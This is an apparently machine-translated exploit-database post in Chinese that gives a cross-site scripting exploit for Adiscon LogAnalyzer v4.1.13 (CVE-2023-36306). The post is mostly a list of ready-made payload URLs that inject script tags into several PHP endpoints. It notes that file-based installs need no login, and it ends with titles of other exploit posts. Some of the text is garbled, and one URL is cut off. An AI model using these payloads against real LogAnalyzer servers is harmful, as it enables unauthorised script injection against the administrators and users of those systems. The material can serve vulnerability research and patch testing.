Adiscon Loganalyzer v.4.1.13-跨站点脚本

[HackApt-37 Team已验证会员]

＃利用标题: Adiscon Loganalyzer v.4.1.13-跨站点脚本
＃日期: 2023.Aug.01
＃利用作者: PEDRO（ISSDU TW）
＃供应商homepage: https://loganalyzer.adiscon.com/
＃软件link: https://loganalyzer.adiscon.com/download/
＃版本: v4.1.13和之前
＃在: Linux上测试
＃CVE : CVE-2023-36306
有几种安装方法。
如果您没有数据库（基于文件）安装，则无需登录。
如果使用数据库安装，则应仅使用读取用户登录（至少）
XSS有效载荷低于:
XSS
http://[IP地址]/loganalyzer/askTheoracle.php？type=domainquery=uid=%22%3E%3E%3CScript%3ealert%28%27xs%27%29%3c/script%3e
http://[IP地址]/loganalyzer/chartgenerator.php？
http://[IP地址]/loganalyzer/details.php/%22%3e%3cscript%3ealert（'XSS'）％3C/script％3E
http://[IP地址]/loganalyzer/index.php/%22%3e%3cscript%3ealert（'XSS'）％3C/script％3E
http://[IP地址]/loganalyzer/search.php/%22%3e%3cscript%3ealert（'XSS'）％3C/script％3E
http://[IP地址]/loganalyzer/export.php/%22%3e%3cscript%3ealert（'xss'）％3C/script％3E
http://[IP地址]/loganalyzer/reports.php/%22%3e%3cscript%3ealert（'XSS'）％3C/script％3E
http://[IP地址]/loganalyzer/statistics.php/%22%3e%3cscript%3ealert（'XSS'）％3C/script％3E

 

H

WordPress插件忍者表格3.6.25-反射XSS

H

Reyeeos 1.204.1614- MITM远程代码执行（RCE）